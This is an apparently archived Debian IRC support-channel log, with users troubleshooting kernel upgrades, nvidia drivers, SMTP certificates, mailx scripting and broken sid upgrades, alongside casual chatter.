| 08:58.32 | Nikke | when can i install nvidia kernel headers for 2.6.30? |
| 08:58.45 | Nikke | i went from lenny to squeeze today |
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| 08:58.52 | Nikke | cant find kernel headers for 2.6.30 |
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| 09:00.45 | krisje8 | kiminaiseah: just apt-get dist-upgrade iirc. I might've manually done apt-get install but I can't remember that. both ways are apt-get anyway |
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| 09:04.08 | krisje8 | Has this happened before? |
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| 09:06.59 | kiminaiseah | @krisje8 try reboot and use the old kernel and re-run apt-get dist-upgrade |
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| 09:07.44 | krisje8 | kiminaiseah: ok will do that |
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| 09:07.51 | kiminaiseah | @krisje8 anyway check your source.list 1st make sure you have the release/updates main contrib |
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| 09:08.38 | themill | There's no testing-security support at the moment anyway so that won't matter. |
| 09:09.05 | krisje8 | kiminaiseah: I seem to have em |
| 09:09.25 | oreo | How do I disable the few log messages that are displayed on the main TTY? |
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| 09:13.18 | krisje8 | kiminaiseah: dist-upgrade doesn't do anything, everything is up to date. Mayube remove the kernel and reinstall? |
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| 09:14.50 | kiminaiseah | @krisje8 what realease are you using? |
| 09:15.23 | krisje8 | squeeze |
| 09:15.31 | omid8bimo | guys, is it possible to see tty1 outputs when u r logged in over ssh on ptsX? |
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| 09:19.31 | kiminaiseah | hmm... |
| 09:20.06 | steven43126 | omid8bimo: ttysnoop rings a bell :) i remeber using a long time ago, not sure if it's in debian, or still works :( |
| 09:20.45 | omid8bimo | steven43126: i'll give it a try, thanks man |
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| 09:25.13 | oreo | Why do networking logs show up on TTY0? |
| 09:25.44 | oreo | like [10.438293] tg3: eth0: Link is up (blah blah blah) |
| 09:26.18 | joltcan | oreo: My guess it's because that is how syslog is configured |
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| 09:26.35 | krisje8 | kiminaiseah: after it says: "ACPI: Expecting a [Reference] package element, found type 0" , I have to press the power button for the booting to continue. The 26 kernel also showed this message but continued almost instantly of itself |
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| 09:26.46 | oreo | joltcan: it's the default out-of-the-box config |
| 09:26.53 | oreo | how do i need to change it? |
| 09:27.34 | yik | Hey. Does the latest linux-image (linux-image-2.6.26-2-amd64 2.6.26-17lenny2) contain a patch for CVE-2009-2692 (Linux NULL pointer dereference; local root exploit)? |
| 09:27.41 | yik | Apparently the changelog is missing. |
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| 09:28.13 | azeem | yik: what do you mean with changelog is missing? |
| 09:28.25 | yik | Go here, click Debian Changelog: http://packages.debian.org/lenny/linux-image-2.6.26-2-amd64 |
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| 09:28.34 | yik | I get a 404, also apt-listchanges can't find a changelog in the .deb. |
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| 09:29.53 | yik | oh, sorry, my fault, it's there. |
| 09:30.01 | yik | linux-2.6 (2.6.26-17lenny2) stable-security; urgency=high: * Make sock_sendpage() use kernel_sendpage() (CVE-2009-2692) |
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| 09:30.14 | yik | The exploit is very scary :( Works on multiple systems I tried |
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| 09:30.48 | jeeves_Moss | how can I get the proper cert for gmail's SMTP server? |
| 09:32.25 | jeeves_Moss | hello? |
| 09:32.29 | fireba11 | hi, i got a usb-stick (might be faulty) that i'm trying to mount. fdisk shows filesystem as "W95 FAT32 (LBA)". what mount options do i need? it doesn't seem to work |
| 09:33.18 | krisje8 | Is my kernel problem so rare no one know about it? or....? |
| 09:33.24 | Owner | last night, i decided to take me sweet-n-stable lenny box to the next level with a dist-upgrade to sid. added the unstable repositories and used aptitude, but got a few errors about postgres. now my box boots to bash and I can startx into my desktop that looks somewhat similar but is missing some features. for instance my wifi driver's gone. is there a nice clean way i can dist-downgrade/undo the |
| 09:33.26 | Owner | last aptitude actions and go with testing instead? or how can i repair my broken system - i can't get rid of the postgres errors (dependency problems prevent configuration of postgresql)? any suggestions will be GREATLY appreciated.. |
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| 09:33.38 | krisje8 | since I'm using stock kernels I'd think this is a common problem |
| 09:33.54 | yik | I'm not sure what you are asking, jeeves_Moss. openssl s_client -connect smtp.gmail.com:465 -showcerts will print the certificate out for you if that's what you mean but.. |
| 09:34.48 | jeeves_Moss | yik, I'm following the "howto" @ http://www.ericstockwell.com/, and I get "send-mail: TLS certificate verification failed: the certificate hasn't got a known issuer" when I try to use mailx @ the CLI |
| 09:35.09 | themill | Owner: welcome to sid. /msg dpkg reinstall |
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| 09:35.33 | yik | jeeves_Moss: yes, well, it seems google uses their own CA, "Google Internet Authority" rather than the ususal Verisign, etc. |
| 09:36.02 | jeeves_Moss | yik, ok, how do I get the cert to use on this local system? |
| 09:36.43 | yik | well you could look how your current certificates look, jeeves_Moss, and if they look anything like the output of the openssl command I gave you above, you can just copypaste the cert into a new file |
| 09:37.11 | yik | Then just import the certificate as usual.. you'll have to see the manual how to do that |
| 09:37.19 | jeeves_Moss | yik, I'm googling the cert right now |
| 09:37.20 | Owner | themill: should i just fire that and hope it'll fix things? should i revert my soruces.list? also, is there an official page where i can see what are the default sources for 'testing'? |
| 09:37.52 | jeeves_Moss | yik, unless you have the syntax handy |
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| 09:38.37 | yik | the command "openssl s_client -connect smtp.gmail.com:465 -showcerts" will give you the certificate plus other details. The actual certificate is delimited by the BEGIN CERTIFICATE and END CERTIFICATE markers |
| 09:38.54 | jeeves_Moss | yik, ok, thanks. I'll try it |
| 09:39.27 | themill | Owner: if you are going to run testing or unstable, you are part of the development process and you're going to have to learn about dependency resolution so you can sort these things out yourself. There's a chance we can get your box back to something that will become "testing" in a few weeks time though. /msg dpkg bat |
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| 09:39.53 | MrWax | You have mail. |
| 09:39.55 | jeeves_Moss | yik, ok, I have an output. how to I pull that cert to the local system? |
| 09:39.58 | MrWax | how can I check this message? |
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| 09:40.52 | yik | I'm not sure, jeeves_Moss. It could be different for your mail client. If you mean the system's cert store you can check ca-certificates debian manual or google or.. |
| 09:41.01 | nachos | hi, with the default console font for Xterm, is there a port that i can use as my console/terminal font when not running X? |
| 09:41.17 | jeeves_Moss | yik, I'm trying to configure it so I can send it from mailx at the command line |
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| 09:43.38 | jeeves_Moss | yik, ok, I copied the output of the command you gave me, then pasted it into a file. it worked!!! |
| 09:43.56 | yik | good :) |
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| 09:45.15 | krisje8 | Ok I tried to install nvidia drivers and now my kernel won't boot at all anymore |
| 09:45.30 | krisje8 | it's stuck at waiting for /dev to be fully populated |
| 09:46.28 | krisje8 | what is wrong with debian's 2.6.30 kernel? First it almost didn't boot, and now it doesn't boot at all.. |
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| 09:49.21 | Owner | themill: i can't provide any output to dpkg as my box is broken and i'm typing from a different one. the only output i get right now is a screen. after an unsuccessful aptitude dist-upgrade, is there a way to revert? |
| 09:49.25 | krisje8 | oh great. I didn't expect this to happen. It broken something serious. I can't see anything on my monitor when booting (before grub appears) |
| 09:49.30 | jeeves_Moss | how can I get mailx to read through a file and send out an e-mail to each of the e-mail addressed in the file? |
| 09:49.56 | themill | Owner: why can't you get that output? |
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| 09:50.11 | yik | jeeves_Moss: with a bit of shell scripting :) Does the file contain only email addresses, one per each line? |
| 09:50.25 | themill | Owner: no, you can't just downgrade packages. You can't just undo package installation. |
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| 09:51.06 | krisje8 | Ok removing power made my machine boot again |
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| 09:51.18 | Owner | themill: how could i get the output out of a disconnected box? |
| 09:51.20 | krisje8 | still the 30 kernel is unable to boot |
| 09:51.29 | jeeves_Moss | yik, the file could contain only one address per line. I haven't made the file yet. I need to get mailx to send out an e-mail (with the body of the e-mail pulled from another text file) from the file containing the addresses |
| 09:52.49 | themill | Owner: copy it to a usb stick. Can you boot the previous lenny kernel? (does it still have wifi drivers for you) |
| 09:53.09 | yik | jeeves_Moss: well then you can do it like this: cat emails | xargs -d '\n' echo mailx -s subject [other options] |
| 09:53.33 | Owner | i can boot the previous kernel, however the drivers are gone. they weren't compiled as a module either... |
| 09:54.02 | yik | But I think it will show the sent addresses for everyone.. maybe it would be better to loop through them in the shell and execute mailx individually for each address. Or if you will be doing this regularly, set up some other better system, like a mailing list with GNU mailman |
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| 09:54.59 | jeeves_Moss | yik, I'm looking for it to read through the emails.txt file to fill in the "To:" line, and then use the contents of body.txt to put in the body |
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| 09:57.28 | krisje8 | I'm onto something, adding acpi=off noapic nolapic solves my booring problem' |
| 09:57.33 | mmaher | i love debian, thanks for all :D |
| 09:57.33 | jeeves_Moss | yik, any ideas? |
| 09:57.58 | yik | jeeves_Moss: it just seems a mailing list or some other solution would be better for this.. |
| 09:58.04 | yik | of course it depends on your needs |
| 09:58.24 | yik | I'd consider them more reliable than a custom shell script |
| 09:59.20 | jeeves_Moss | yik, lol, this is only a small list, but I don't want to have to babysit it. |
| 09:59.21 | yik | jeeves_Moss: is this one time only or..? |
| 09:59.30 | yik | is the list static? |
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| 10:00.17 | jeeves_Moss | yik, yes, the list is static. but I'll comment out some lines as things change. that's why I need to be able to use the txt file fill of e-mail address and another file for the body of the e-mail |
| 10:02.20 | jeeves_Moss | yik, is it simple, if so, I'll see if I can figure it out |
| 10:03.19 | krisje8 | How come there is no simple way to install nvidia drivers on debian? for the past 2 years I have not been able to succefully install them at all. |
| 10:04.03 | yik | well it's possible jeeves_Moss, but you need some knowledge on shell scripting |
| 10:04.27 | jeeves_Moss | yik, I don't know shell scripting. could you help me? |
| 10:04.40 | yik | use m4/sed to replace the To: line, then simply cat processed_body.txt|mailx -s "subject" `cat emails.txt|xargs` but that is not very fool-proof |
| 10:04.41 | trumpen | jeeves_Moss, try while read email; do mail -s "subject" "$email" <body.txt; done <emails.txt |
| 10:04.52 | yik | that is possible as well, yes |
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| 10:05.52 | jeeves_Moss | trumpen, will that read the e-mails file (to use that as source for the addressed), and then use the content of body.txt as the body? |
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| 10:08.23 | jeeves_Moss | yik, will that work? |
| 10:08.54 | trumpen | jeeves_Moss, it should :) try it with you email(s) |
| 10:09.16 | yik | well if you don't need to change the To: line go with trumpens method. But otherwise you will need to change it with sed or m4 or something |
| 10:09.26 | jeeves_Moss | trumpen, I tried making a file called "emails.txt" with a single e-mail address per line, and it fails |
| 10:09.46 | yik | Why jeeves_Moss? Does it give any error? |
| 10:09.50 | themill | make sure emails.txt is just the email address and not "user name <email@example.com>" |
| 10:10.06 | jeeves_Moss | send-mail: recipient address not accepted by the server |
| 10:10.29 | jeeves_Moss | themill, yes, the file has just e-mail addresses |
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| 10:11.22 | jeeves_Moss | I used "mailx -s "call me please" "$email" <body.txt; done <emails.txt" as the command. the e-mails.txt has a single e-mail address per line, and body.txt has the body of the e-mail |
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| 10:13.36 | Owner_ | themill: i'm pretty sure i can get everything else sorted, besides "insserv: script postgresql-8.4: service postgresql already provided" |
| 10:13.48 | themill | Owner_: that one is in the BTS |
| 10:14.09 | themill | jeeves_Moss: can you normally send email to those addresses using mailx? (I'm guessing you've not yet configured your mta on that machine) |
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| 10:14.50 | jeeves_Moss | themill, yes, I can send it if I do "mailx -s "subject" <address>" |
| 10:15.17 | themill | Owner: it can be fixed by only having one version of postgres installed |
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| 10:16.04 | themill | jeeves_Moss: can you pastebin the entire command you used? the bit you pasted back into the channel was incomplete |
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| 10:17.38 | jeeves_Moss | themill, http://pastebin.ca/1532348 |
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| 10:18.40 | themill | jeeves_Moss: yeah, you missed out the first half of trumpen's suggestion. "while read email; do" |
| 10:19.08 | jeeves_Moss | themill, ahhh, ok. I obviously didn't get it. could you pastebin the proper syntax? |
| 10:21.06 | jeeves_Moss | themill, I think I've got a connection issue here. I didn't hear from you |
| 10:21.25 | themill | patience, grasshopper |
| 10:21.41 | tawan | why the ferk does openbox now beep at shutdown with the -30 kernel (i've tried all that dpkg can suggest :'( |
| 10:21.42 | themill | jeeves_Moss: you'd do well to learn a little scripting yourself so you can see what's going on and understand the suggestions being made. /msg dpkg bash. The pastebin you made is also rather different to what you wrote in the channel earlier -- are you typing these things in rather than pasting them? If so, you need to be much more careful... |
| 10:21.43 | jeeves_Moss | themill, sorry, I didn't know if it was a connection issue |
| 10:22.14 | themill | jeeves_Moss: http://pastebin.ca/1532350 is more like what you want |
| 10:23.11 | jeeves_Moss | themill, I didn't mean any disrespect. there's lots of things out there on the net, but I still need some help with figureing it out |
| 10:23.41 | jeeves_Moss | themill, I'm still learning, and I have to fall on my face before I learn |
| 10:23.46 | themill | :) |
| 10:24.30 | jeeves_Moss | themill, so, as I see more of it, and have it explained how it works, the more I'll learn |
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| 10:26.13 | jeeves_Moss | themill, is there a simple way of adding in a output from the script so I can tell if it's working? |
| 10:26.13 | krisje8 | the daily built squeeze netinst suffers from the same problem as my 30 kernel |
| 10:26.49 | themill | jeeves_Moss: splitting it up across multiple lines as I did in the pastebin also makes it easier to see what's going on. Line 3 does all the mailing for you, "while ... ; do .... ; done" is the loop construct in bash and "read email" reads from stdin into the variable email (the $email that is line 3). the <emails.txt at the end feeds the stdin of the "read" command at the top. |
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| 10:27.28 | themill | jeeves_Moss: If you put an "echo" at the start of the line with the "mailx" command, you'll see the command that would have been run. |
| 10:27.33 | jeeves_Moss | themill, for me, once I get the switches figured it, then I can get the rest of the variables figured out |
| 10:28.12 | themill | jeeves_Moss: btw how often are you planning on using this and for how many people? |
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| 10:28.33 | DexterF | hi |
| 10:29.16 | DexterF | weird problem after etch-lenny upgrade: kernel sometimes boots, sometimes doesn't. root on ata disk on an asus nForce3 board. |
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| 10:29.18 | jeeves_Moss | themill, ~15 people in our Admin staff |
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| 10:30.13 | DexterF | got both 2.6.26-1-686 and -2-686. -2 stopped working, froze when starting the ramdisk. had -1 in there, tried that, worked. today -1 locks up but teh fun: -2 booted. |
| 10:30.25 | themill | jeeves_Moss: you could just define an alias in /etc/aliases on that machine that contains the list of addresses to send to. You then email that one address and it gets sent off to all. No scripting required. |
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| 10:32.19 | jeeves_Moss | themill, but it's more of a pain in the butt to edit |
| 10:32.44 | petemc | why is editing one text file harder than editing another? |
| 10:33.22 | themill | I'd go with a robust MTA config over a flaky shell script... |
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| 10:34.04 | petemc | i use a router in exim for an internal mailing list |
| 10:34.40 | themill | petemc: thought you were a postfix boy |
| 10:35.00 | petemc | nope, have stuck with exim |
| 10:35.07 | petemc | have one or two postfix installs |
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| 10:36.07 | themill | ah |
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| 10:36.48 | yik | Why does exim have to be so difficult to use? It just seems postfix does what most users want without the hassle of extra complicated config files and everything |
| 10:37.10 | petemc | exim can function with an emtpy config file |
| 10:37.19 | yik | I can only guess exim is the default because it's more configurable, but when most all users don't care for those.. |
| 10:37.21 | themill | yik: all of the exim installs I have just use the config generated by debconf |
| 10:38.40 | yik | I tried installing mailman to use with exim (setting up aliases and such) and it never seemed to work right, but installing postfix the configuration was breeze. Of course this is due to my lack of experience with MTAs, but.. |
| 10:38.49 | petemc | but what? |
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| 10:39.07 | yik | well postfix just seemed easier to use to me, that is all |
| 10:39.11 | themill | !start an mta war |
| 10:39.11 | dpkg | exim rulez! |
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| 10:39.53 | petemc | the split config stuff is purely a debian thing, exim itself uses one config file that works in a very logical fashion, with things processed in the order they appear in the file |
| 10:40.17 | petemc | acls decide if the mail is accepted, routers decide where to send, transports do the sending |
| 10:40.26 | yik | I tried the non-split config file but then I got a mile long file :( |
| 10:40.43 | petemc | there is the vanilla exim config in /usr/share/doc/ |
| 10:40.46 | yik | well yes I guess it's logical when you get down to it.. |
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| 10:43.54 | telenieko | Hi ppl. how can I download a package from the NEW queue? ;) |
| 10:44.21 | craigevil | telenieko: why the heck would you want to? |
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| 10:44.39 | telenieko | craigevil, I've seen there's the "mutter" package in here and wanted to have a look at it :) |
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| 10:45.12 | Trewas | telenieko: you can't, which is kind of the point of NEW handling |
| 10:45.38 | craigevil | you have to wait until its at incoming.debian.org |
| 10:45.42 | telenieko | Trewas, I just found the debian-project discussion about it :\ thanks ;) |
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| 10:47.51 | ajavid | good orning |
| 10:47.58 | ajavid | well, not reeally |
| 10:48.01 | ajavid | heartburn. |
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| 10:53.06 | ajavid | http://paste.debian.net/44401/ <- installation error on package, please advise |
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| 10:54.30 | owner | i have finally found a cable and can now provide the output needed... i was doing a dist-upgrade from lenny to sid using aptitude. the upgrade didn't go well and I now have a broken system. my aptitude log: http://pastebin.ubuntu.com/254459/ dmesg: http://pastebin.ubuntu.com/254460/ syslog: http://pastebin.ubuntu.com/254461/ kernlog: http://pastebin.ubuntu.com/254462/ . From what i understand, the |
| 10:54.32 | owner | <PROTECTED> |
| 10:55.14 | ajavid | owner, happened here after 6 months sid update |
| 10:55.29 | ajavid | owner, I removed postgresql to finish the update |
| 10:55.52 | ajavid | owner, downgradign is impossible at this point |
| 10:55.58 | ajavid | !downgrade |
| 10:55.58 | dpkg | methinks downgrade is not possible with apt-get currently. No future support is anticipated. Some programs change the binary format of their files in a way that cannot be rolled back later, and package maintainer scripts provide ways to upgrade to new config file formats but not ways to downgrade. You can always try to downgrade a package using dpkg -i <olderversion.deb>. Also see <partial downgrade>, or <sdn> |
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| 10:56.59 | owner | where can i get a proper list of official repositories for unstable? |
| 10:57.40 | petemc | main contrib and non-free |
| 10:57.47 | ajavid | !mirrors |
| 10:57.47 | dpkg | from memory, debian mirrors is http://www.debian.org/mirror/list or ftp://ftp.debian.org/debian/README.mirrors.txt | ask me about <apt-spy> or <netselect-apt> | to make a mirror, see http://www.debian.org/mirrors/ or http://lists.debian.org/debian-mirrors/, see also <debmirror>. |
| 10:57.54 | craigevil | ajavid: on sid> The following extra packages will be installed: libeina-svn-01 The following NEW packages will be installed: libeet1 libeina-svn-01 |
| 10:58.12 | ajavid | eina=svn is broken |
| 10:58.19 | ajavid | its virtual, doesn't exist, libeet1 depends on it |
| 10:58.26 | ajavid | its a whole sid clusterfuck at this point |
| 10:58.27 | ajavid | :/ |
| 10:58.47 | petemc | you're hardly suprised |
| 10:58.55 | ajavid | well yeah, its sid |
| 10:58.57 | ajavid | :D |
| 10:59.03 | craigevil | ajavid: it installs here |
| 10:59.07 | ajavid | really? |
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| 10:59.14 | ajavid | nah... |
| 10:59.17 | ajavid | really? |
| 10:59.21 | ajavid | scratches head |
| 10:59.36 | ajavid | just updated, instaled libeet1, erorr |
| 10:59.36 | craigevil | After this operation, 332kB of additional disk space will be used. |
| 10:59.39 | jelly | ajavid: it's sid, why are you surprised? |
| 10:59.43 | ajavid | jelly, I'm not |
| 10:59.44 | craigevil | Do you want to continue [Y/n]? |
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| 11:00.00 | ajavid | jelly, just wondering if one could think of a workaround |
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| 11:00.29 | jelly | build from deb-src |
| 11:00.54 | fireba11 | need to repair a USB-stick .. do i need a special fsck package for fat32? |
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| 11:01.14 | ajavid | !vfat |
| 11:01.14 | dpkg | rumour has it, vfat is a very fat 32-bit version of a pathetic filesystem, or apt-get install dosfstools, then man mkfs.vfat, or for information on getting write access for regular users, ask me about <vfatrw>, or you should not be using this filesystem unless Windows needs to read it. |
| 11:02.02 | fireba11 | ajavid: thanks. apt-cache search didn't turn that one up |
| 11:02.25 | ajavid | fireba11, pray to your god that my heartburn goes away quick |
| 11:02.32 | ajavid | thats how you can thank me |
| 11:02.36 | ajavid | I did drink a glass of milk |
| 11:03.12 | fireba11 | ajavid: i don't belive in any gods .. but what did you do? |
| 11:03.20 | ajavid | ate a bag of skittles before I went to bed |
| 11:03.26 | ajavid | the sugar turned into acid all night long |
| 11:03.28 | ajavid | :( I'm a moron. |
| 11:03.56 | fireba11 | dosfsck 3.0.1, 23 Nov 2008, FAT32, LFN |
| 11:03.57 | fireba11 | Currently, only 1 or 2 FATs are supported, not 156. |
| 11:03.59 | fireba11 | ah well |
| 11:04.00 | craigevil | ajavid: the package versions in your pastebin are different than mine> libeet1 libeina-svn-01 < yours>libeet1: Depends: libeina-svn-03 |
| 11:04.09 | ajavid | craigevil, hm |
| 11:04.14 | ajavid | craigevil, do you have an experimental repos? |
| 11:04.18 | ajavid | any* |
| 11:04.22 | craigevil | im on a fully updated sid |
| 11:04.40 | ajavid | btw, this is log from last night, maybe a fixed update was uploaded |
| 11:04.41 | ajavid | let me see |
| 11:04.58 | craigevil | ah thats it i forgot i have exp uncommented |
| 11:05.14 | ajavid | hmm |
| 11:05.21 | ajavid | alright, its good now |
| 11:05.40 | ajavid | looks like a fixed package was uploaded |
| 11:05.43 | ajavid | fantastic |
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| 11:06.10 | ajavid | craigevil, thank you for your time brother |
| 11:06.40 | albech | what does it mean when there are xen-linux-system-2.6.26-1-xen-686 and a 2-xen-686?? which to install? |
| 11:06.55 | ajavid | albech, debian package revions |
| 11:06.58 | ajavid | revisions |
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| 11:07.11 | albech | ajavid: thanks |
| 11:07.16 | ajavid | albech, kernel version 2.6.26 (debian package version 1) |
| 11:07.25 | ajavid | etc. etc. |
| 11:07.53 | ajavid | craigevil, ever messed with 17? |
| 11:07.55 | ajavid | e17 |
| 11:08.22 | ajavid | its nice |
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| 11:09.07 | craigevil | nope i use lxde or just plain openbox |
| 11:09.45 | ajavid | cool |
| 11:10.13 | craigevil | just learned the joys of using irssi in the last couple of days |
| 11:10.26 | ajavid | cool |
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| 11:10.31 | ajavid | just recently? irssi ftw |
| 11:11.03 | craigevil | hehe yeah ive been a lazy GUI user for years |
| 11:11.15 | craigevil | once i jumped in i realized how easy it was to config and the neat scripts available |
| 11:11.44 | maligor | next you'll switch to ratpoison |
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| 11:12.06 | craigevil | i was a big kde fan for years then kde4 hit sid and i switched to lxde |
| 11:12.24 | ajavid | you wanna see my irssi :D |
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| 11:12.36 | ajavid | craigevil, maligor http://picpaste.com/irssi_1.png |
| 11:12.43 | ajavid | nice clean chat, no bullshit messages |
| 11:12.51 | ajavid | 06:12 2 *: CRAP JOINS PARTS QUITS KICKS MODES TOPICS NICKS CLIENTNOTICES CLIENTCRAP CLIENTERRORS |
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| 11:14.00 | bohne | hi, where can i download old stable netinst images (etch) ? |
| 11:14.05 | fireba11 | ajavid: *smites the coworker* it's encrypted with truecrypt ... ^^ |
| 11:14.40 | craigevil | ajavid: http://img37.imageshack.us/img37/3913/200908170712501280x1024.png |
| 11:14.54 | ajavid | ugh |
| 11:14.57 | ajavid | ugh god, wtf is that |
| 11:14.59 | phoob | I have an problem with my soundcard, i have google it but cant find anything: I have: Intel Corporation 82801H (ICH8 Family) HD Audio Controller |
| 11:15.01 | ajavid | oh myg od |
| 11:15.11 | ajavid | craigevil, im gonna have to hurt you for hurting my eyes |
| 11:15.17 | craigevil | lol |
| 11:15.18 | ajavid | runs after craigevil with a weed whacker |
| 11:15.19 | ajavid | c'mere |
| 11:15.26 | ajavid | I'm just gonna give you a haircut |
| 11:15.28 | ajavid | I promise. |
| 11:15.28 | craigevil | phoob: intel sound should just work |
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| 11:15.43 | maligor | intel sound doesn't just work |
| 11:15.48 | maligor | it's a huge mess |
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| 11:16.09 | phoob | craigevil: It doesnt work |
| 11:16.15 | craigevil | phoob: ard Intel 82801FB/FBM/FR/FW/FRW (ICH6 Family) High Definition Audio Controller driver HDA Intel |
| 11:16.17 | ajavid | craigevil, pothead! |
| 11:16.18 | craigevil | works here |
| 11:16.38 | phoob | craigevil: But it stil not work here :) |
| 11:16.43 | owner | i still can't find an official sources.list entry-list for sid. is it just one deb and one deb-src? here's what my lenny looked like: http://pastebin.ubuntu.com/254474/ i'd like to replace it with sid and keep somewhat the same functionality. |
| 11:16.58 | craigevil | owner: yes just deb and src |
| 11:17.00 | tuantub | ajavid: how did you config irssi to show list of windows with name and number ? |
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| 11:17.02 | ajavid | craigevil, I see that litlte pot leaf on your start menu icon |
| 11:17.05 | meglo | i could only go for weechat, working with BNCs, many networks and channels with people you need visual cues with nicklists and server/chan treelists |
| 11:17.06 | maligor | the intel-hda driver depends more on the codecs attached to it, the alsa driver is a huge repository of quirks and chip configurations |
| 11:17.07 | ajavid | tuantub, magic |
| 11:17.14 | tuantub | ajavid: :-/ |
| 11:17.21 | xarragon | Hello guys, I used to have all my NFS FS:es mounted under /storage/whatever with group ownership to "storage", which was my own group. But as I've seen of late there seems to be a built-in group with the same name, right? Can you confirm this, or perhaps even suggest another group dedicated to NFS mounts that exists? |
| 11:17.26 | meglo | wow im behind conversation |
| 11:17.53 | craigevil | ajavid: you couldnt see the big one of my desktop :) |
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| 11:18.12 | ajavid | is bad for you man |
| 11:18.14 | phoob | Anyone who have any advice to give me? cant find anything |
| 11:18.18 | ajavid | pots no good |
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| 11:18.28 | craigevil | ajavid: i dont smoke it, a friend does artwork |
| 11:18.33 | xarragon | In short: I am renaming my "nfs-group" to avoid name clashes with debian's system groups and wants to confirm clash. |
| 11:18.36 | ajavid | uh huh |
| 11:18.53 | tuantub | ajavid: i'm actually using irssi, but it shows me only the name of active channel and for the other channels only windows numbers :( |
| 11:18.59 | craigevil | ajavid: im 40+ and i have kids no pot for me, 20 yrs ago heck yeah but not in yrs |
| 11:19.13 | ajavid | tuantub, advanced window list |
| 11:19.16 | ajavid | tuantub, AWL |
| 11:19.42 | craigevil | tuantub: adv_windowlists.pl |
| 11:19.44 | ajavid | its a more updated version of chanact.pl |
| 11:20.07 | tuantub | ajavid: craigevil, thanks i'll search for it :P |
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| 11:20.16 | meglo | craigevil, what do you think of konversation |
| 11:20.18 | craigevil | its on the irssi script page |
| 11:20.22 | meglo | the qt4 port |
| 11:20.40 | craigevil | meglo: i ran it for years but i gave up on kde because kde4 sucks big time |
| 11:20.49 | ajavid | craigevil, I don't get high on a regular basis since last year, since I ws 27, I totally quit. I do keep it around for medicinal purposes though |
| 11:21.07 | meglo | craigevil, maybe KDE4.5 or KDE5 might be good enough? |
| 11:21.09 | ajavid | like this heartburn, 1 glass of milk and one or two hits and im alright |
| 11:21.13 | ajavid | kde5? |
| 11:21.15 | ajavid | jeez. |
| 11:21.17 | meglo | haha |
| 11:21.21 | ajavid | :D |
| 11:21.27 | craigevil | meglo: kde4 uses too much ram on this crappy dell, i only have 512mb |
| 11:21.27 | ajavid | you meant 3.5 and 4 |
| 11:22.34 | ajavid | I wonder how much ram it uses (I have kde4 on my 8gb ram sid box) |
| 11:22.37 | craigevil | meglo: Processes 103 Uptime 16:15 Memory 163.6/494.1MB thats in lxde with irssi, pcmanfman , shell-fm and firefox running |
| 11:22.50 | ajavid | <PROTECTED> |
| 11:22.50 | ajavid | Mem: 8006 7203 802 0 117 5296 |
| 11:22.55 | ajavid | alright, nevermind. |
| 11:23.04 | ajavid | <PROTECTED> |
| 11:23.06 | ajavid | wow. |
| 11:23.17 | ajavid | thats fuckin KDE4 for ya |
| 11:23.35 | meglo | i'm just using xfce meh |
| 11:23.37 | phoob | craigevil: It seems that alsa is using some default drivers, how do i change that? |
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| 11:24.19 | craigevil | !alsa-checklist |
| 11:24.19 | dpkg | 1) add yourself to the 'audio' group (log out and log in again) 2) use alsamixer and unmute channels and raise levels (also try muting some channels) 3) arts or esound stopped? 4) OSS modules unloaded? 5) speakers on? 6) modprobe snd-pcm-oss 7) does "aplay /usr/share/sounds/alsa/Noise.wav" work for root? Test your sound with aplay and a wav so codec issues don't confuse the situation. See also <list alsa users>. |
| 11:24.36 | Manqux | Ppl, can't find cinelerra and lazarus in the whole 5 lenny dvd ! Anybody knows the reason ? |
| 11:24.58 | craigevil | Manqux: cinelerra is in the debian-multimedia.org repo |
| 11:25.35 | Manqux | Haven't fart internet |
| 11:25.38 | phoob | craigevil: already done that |
| 11:25.52 | abrotman | Manqux: wouldn't you like to fix that first? |
| 11:26.10 | Manqux | Impossible |
| 11:26.18 | Manqux | East |
| 11:26.20 | Manqux | Fast |
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| 11:26.44 | crzedmonk | hello anyone here give me a hand with flash in ice weasel on debian lenny? |
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| 11:27.15 | phoob | crzedmonk: Want to upgrade to flash 10? |
| 11:27.31 | crzedmonk | I do not care I just want it to work |
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| 11:27.55 | missyjane | hey can i ask questions about gparted here? |
| 11:28.04 | missyjane | or will i be stabbed to death by the debjas? |
| 11:28.15 | phoob | crzedmonk: Install the .deb file from adobe site.. then pkg -i adobeflashplugin.deb... It will tell you if you missing some dependense then just install them with synpatic |
| 11:28.16 | themill | dpkg: tell crzedmonk about adobe flash |
| 11:28.32 | themill | crzedmonk, phoob: don't do that.... |
| 11:28.36 | craigevil | phoob: NO NO NO |
| 11:28.42 | owner | here's another one: http://pastebin.ubuntu.com/254481/ isn't dist-upgrade supposed to resolve that? |
| 11:28.47 | craigevil | the .deb on the adobe site is an ubuntu package |
| 11:28.59 | phoob | craigevil: It works fine for me |
| 11:29.03 | phoob | verry fine |
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| 11:29.34 | craigevil | the your lucky search linuxquestions.org and forums.debian.net for all the people that sdcrew up their system doing that |
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| 11:30.11 | craigevil | crzedmonk: either install flashplugin-nonfree from backports or flashplayer-mozilla from debian-multimedia.org |
| 11:30.16 | phoob | craigevil: okey, i have done it atleast the 4-5 month past.. and havent got any problem yet |
| 11:30.21 | phoob | ^^ |
| 11:30.39 | tuantub | craigevil: ajavid : thanks, here is the result of using awl : http://picpaste.com/del/XsKx7wIi/irssi_2.png |
| 11:30.44 | craigevil | phoob: for most people it made apt-get/sptitude unable to install/remove anything else |
| 11:30.46 | themill | phoob: on a debian machine or on an ubuntu machine? |
| 11:30.59 | tuantub | loves debian's community :P |
| 11:31.21 | phoob | themill: debian machine... I got a new laptop today and the only thing thats not work that the damn soundcard ^^ |
| 11:31.25 | missyjane | takes out samurai sword |
| 11:31.29 | missyjane | here comes the debian ninjas "debjas" |
| 11:31.36 | missyjane | D:< so no gparted questions? |
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| 11:32.58 | missyjane | >:( |
| 11:33.05 | Kamping_Kaiser | :) |
| 11:33.17 | craigevil | phoob: run lsmod and see if snd_hda_intel is listed as being used |
| 11:33.24 | missyjane | Kamping_Kaiser, you must be the sensei ninja |
| 11:33.30 | missyjane | thrusts the sword into Kamping_Kaiser |
| 11:33.47 | Kamping_Kaiser | bleeds >.> |
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| 11:34.26 | tuantub | calls 911 |
| 11:34.28 | missyjane | mmuahahah, the emperor prevails! sisters of battle will arise victorious as always |
| 11:34.46 | missyjane | anyway gparted, ahem, is there a way to combine "logical" partitions? |
| 11:34.59 | budo | craigevil mine does not show that |
| 11:35.26 | Kamping_Kaiser | missyjane: not last I used it (infact I doubt there is a way) |
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| 11:37.57 | szymon_g | hi |
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| 11:38.44 | ajavid | uhm |
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| 11:38.54 | ajavid | missyjane, can I have some of what you're smoking? |
